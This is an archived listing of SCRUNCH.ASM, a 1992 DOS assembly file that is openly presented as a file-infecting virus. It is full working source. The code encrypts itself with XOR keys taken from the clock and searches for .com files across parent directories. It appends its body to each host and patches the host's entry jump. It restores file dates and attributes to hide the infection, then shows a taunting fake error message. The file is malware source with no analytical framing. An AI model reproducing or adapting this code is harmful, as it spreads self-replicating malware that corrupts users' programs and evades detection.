home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SCRUNCH.ASM < prev    next >
Assembly Source File  |  1992-10-27  |  10KB  |  252 lines

  1. ; [SCRUNCH] by Abraxas
  2.  
  3. .model tiny                             ; Handy directive
  4. .code                                   ; Virus code segment
  5.           org    100h                   ; COM file starting IP
  6.  
  7. entry_point: db 0e9h,0,0                ; jmp decrypt
  8.  
  9. decrypt:                                ; handles encryption and decryption
  10.           mov  cx,(offset heap - offset startencrypt)/2 ; iterations
  11. patch_startencrypt:
  12.           mov  di,offset startencrypt   ; start of decryption
  13. decrypt_loop:
  14.           db   81h,35h                  ; xor word ptr [di], xxxx
  15. decrypt_value dw 0                      ; initialised at zero for null effect
  16.           inc  di                       ; calculate new decryption location
  17.           inc  di
  18.           loop decrypt_loop             ; decrypt mo'
  19. startencrypt:
  20.           call next                     ; calculate delta offset
  21. next:     pop  bp                       ; bp = IP next
  22.           sub  bp,offset next           ; bp = delta offset
  23.  
  24.           lea  si,[bp+save3]
  25.           mov  di,100h
  26.           push di                       ; For later return
  27.           movsw
  28.           movsb
  29.  
  30.           mov  byte ptr [bp+numinfec],1 ; reset infection counter
  31.  
  32.           mov  ah,1Ah                   ; Set new DTA
  33.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  34.           int  21h
  35.  
  36.           mov  ah,47h                   ; Get current directory
  37.           mov  dl,0                     ; Current drive
  38.           lea  si,[bp+origdir]          ; DS:SI->buffer
  39.           int  21h
  40.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  41.  
  42.           mov  ax,3524h                 ; Get int 24 handler
  43.           int  21h                      ; to ES:BX
  44.           mov  word ptr [bp+oldint24],bx; Save it
  45.           mov  word ptr [bp+oldint24+2],es
  46.           mov  ah,25h                   ; Set new int 24 handler
  47.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  48.           int  21h
  49.           push cs                       ; Restore ES
  50.           pop  es                       ; 'cuz it was changed
  51.  
  52. dir_scan:                               ; "dot dot" traversal
  53.           lea  dx,[bp+com_mask]
  54.           mov  ah,4eh                   ; find first file
  55.           mov  cx,7                     ; any attribute
  56. findfirstnext:
  57.           int  21h                      ; DS:DX points to mask
  58.           jc   done_infections          ; No mo files found
  59.  
  60.           mov  al,0h                    ; Open read only
  61.           call open
  62.  
  63.           mov  ah,3fh                   ; Read file to buffer
  64.           lea  dx,[bp+buffer]           ; @ DS:DX
  65.           mov  cx,1Ah                   ; 1Ah bytes
  66.           int  21h
  67.  
  68.           mov  ah,3eh                   ; Close file
  69.           int  21h
  70.  
  71. checkCOM:
  72.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  73.           cmp  ax,2000                  ; Is it too small?
  74.           jb   find_next
  75.  
  76.           cmp  ax,65535-(endheap-decrypt) ; Is it too large?
  77.           ja   find_next
  78.  
  79.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  80.           add  bx,heap-decrypt+3        ; Adjust for virus size
  81.           cmp  ax,bx
  82.           je   find_next                ; already infected
  83.           jmp  infect_com
  84. find_next:
  85.           mov  ah,4fh                   ; find next file
  86.           jmp  short findfirstnext
  87.           mov  ah,3bh                   ; change directory
  88.           lea  dx,[bp+dot_dot]          ; "cd .."
  89.           int  21h
  90.           jnc  dir_scan                 ; go back for mo!
  91.  
  92. done_infections:
  93. jmp  activate                           ; Always activate
  94. exit_virus:
  95.           mov  ax,2524h                 ; Restore int 24 handler
  96.           lds  dx,[bp+offset oldint24]  ; to original
  97.           int  21h
  98.           push cs
  99.           pop  ds
  100.  
  101.           mov  ah,3bh                   ; change directory
  102.           lea  dx,[bp+origdir-1]        ; original directory
  103.           int  21h
  104.  
  105.           mov  ah,1ah                   ; restore DTA to default
  106.           mov  dx,80h                   ; DTA in PSP
  107.           int  21h
  108.           retn                          ; 100h is on stack
  109. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  110.  
  111. activate:                               ; ******************************
  112.           mov ax,0003h           ; stick 3 into ax.
  113.           int 10h                ; Set up 80*25, text mode.  Clear the screen, too.
  114.           mov ax,1112h           ; We are gunna use the 8*8 internal font, man.
  115.           int 10h                ; Hey man, call the interrupt.
  116.           mov     ah,09h                  ; Use DOS to print fake error message
  117.           mov     dx,offset fake_msg
  118.           int     21h
  119.           mov ah,4ch            ; Lets ditch.
  120.           int 21h               ; "Make it so."
  121.         jmp  exit_virus
  122.  
  123. virusname           db '[SCHRUNCH]',0
  124. author              db '[pAgE]',0
  125.  
  126. infect_com:                             ; ax = filesize
  127.           mov  cx,3
  128.           sub  ax,cx
  129.           lea  si,[bp+offset buffer]
  130.           lea  di,[bp+offset save3]
  131.           movsw
  132.           movsb
  133.           mov  byte ptr [si-3],0e9h
  134.           mov  word ptr [si-2],ax
  135.           add  ax,103h
  136.           push ax                       ; needed later
  137. finishinfection:
  138.           push cx                       ; Save # bytes to write
  139.           xor  cx,cx                    ; Clear attributes
  140.           call attributes               ; Set file attributes
  141.  
  142.           mov  al,2
  143.           call open
  144.  
  145.           mov  ah,40h                   ; Write to file
  146.           lea  dx,[bp+buffer]           ; Write from buffer
  147.           pop  cx                       ; cx bytes
  148.           int  21h
  149.  
  150.           mov  ax,4202h                 ; Move file pointer
  151.           xor  cx,cx                    ; to end of file
  152.           cwd                           ; xor dx,dx
  153.           int  21h
  154.  
  155. get_encrypt_value:
  156.           mov  ah,2ch                   ; Get current time
  157.           int  21h                      ; dh=sec,dl=1/100 sec
  158.           or  dx,dx                     ; Check if encryption value = 0
  159.           jz  get_encrypt_value         ; Get another if it is
  160.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  161.           lea  di,[bp+code_store]
  162.           mov  ax,5355h                 ; push bp,push bx
  163.           stosw
  164.           lea  si,[bp+decrypt]          ; Copy encryption function
  165.           mov  cx,startencrypt-decrypt  ; Bytes to move
  166.           push si                       ; Save for later use
  167.           push cx
  168.           rep  movsb
  169.  
  170.           lea    si,[bp+write]          ; Copy writing function
  171.           mov    cx,endwrite-write      ; Bytes to move
  172.           rep    movsb
  173.           pop    cx
  174.           pop    si
  175.           pop    dx                     ; Entry point of virus
  176.           push   di
  177.           push   si
  178.           push   cx
  179.           rep    movsb                  ; Copy decryption function
  180.           mov    ax,5b5dh               ; pop bx,pop bp
  181.           stosw
  182.           mov    al,0c3h                ; retn
  183.           stosb
  184.  
  185.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  186.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  187.           call   code_store             ; decryption
  188.           pop    cx
  189.           pop    di
  190.           pop    si
  191.           rep    movsb                  ; Restore decryption function
  192.  
  193.           mov  ax,5701h                 ; Restore creation date/time
  194.           mov  cx,word ptr [bp+newDTA+16h] ; time
  195.           mov  dx,word ptr [bp+newDTA+18h] ; date
  196.           int  21h
  197.  
  198.           mov  ah,3eh                   ; Close file
  199.           int  21h
  200.  
  201.           mov ch,0
  202.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  203.           call attributes               ; attributes
  204.  
  205.           dec  byte ptr [bp+numinfec]   ; One mo infection
  206.           jnz  mo_infections            ; Not enough
  207.           jmp  done_infections
  208. mo_infections: jmp find_next
  209.  
  210. open:
  211.           mov  ah,3dh
  212.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  213.           int  21h
  214.           xchg ax,bx
  215.           ret
  216.  
  217. attributes:
  218.           mov  ax,4301h                 ; Set attributes to cx
  219.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  220.           int  21h
  221.           ret
  222.  
  223. write:
  224.           pop  bx                       ; Restore file handle
  225.           pop  bp                       ; Restore relativeness
  226.           mov  ah,40h                   ; Write to file
  227.           lea  dx,[bp+decrypt]          ; Concatenate virus
  228.           mov  cx,heap-decrypt          ; # bytes to write
  229.           int  21h
  230.           push bx
  231.           push bp
  232. endwrite:
  233.  
  234. int24:                                  ; New int 24h (error) handler
  235.           mov  al,3                     ; Fail call
  236.           iret                          ; Return control
  237.  
  238. com_mask            db '*.com',0
  239. dot_dot             db '..',0
  240. heap:                                   ; Variables not in code
  241. ; The following code is the buffer for the write function
  242. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  243. oldint24            dd ?                ; Storage for old int 24h handler      
  244. backslash           db ?
  245. fake_msg            db "Eddy lives somewhere in time!!! Psyche!$"
  246. origdir             db 64 dup (?)       ; Current directory buffer             
  247. newDTA              db 43 dup (?)       ; Temporary DTA                        
  248. numinfec            db ?                ; Infections this run                  
  249. buffer              db 1ah dup (?)      ; read buffer                          
  250. endheap:                                ; End of virus
  251. end       entry_point
  252.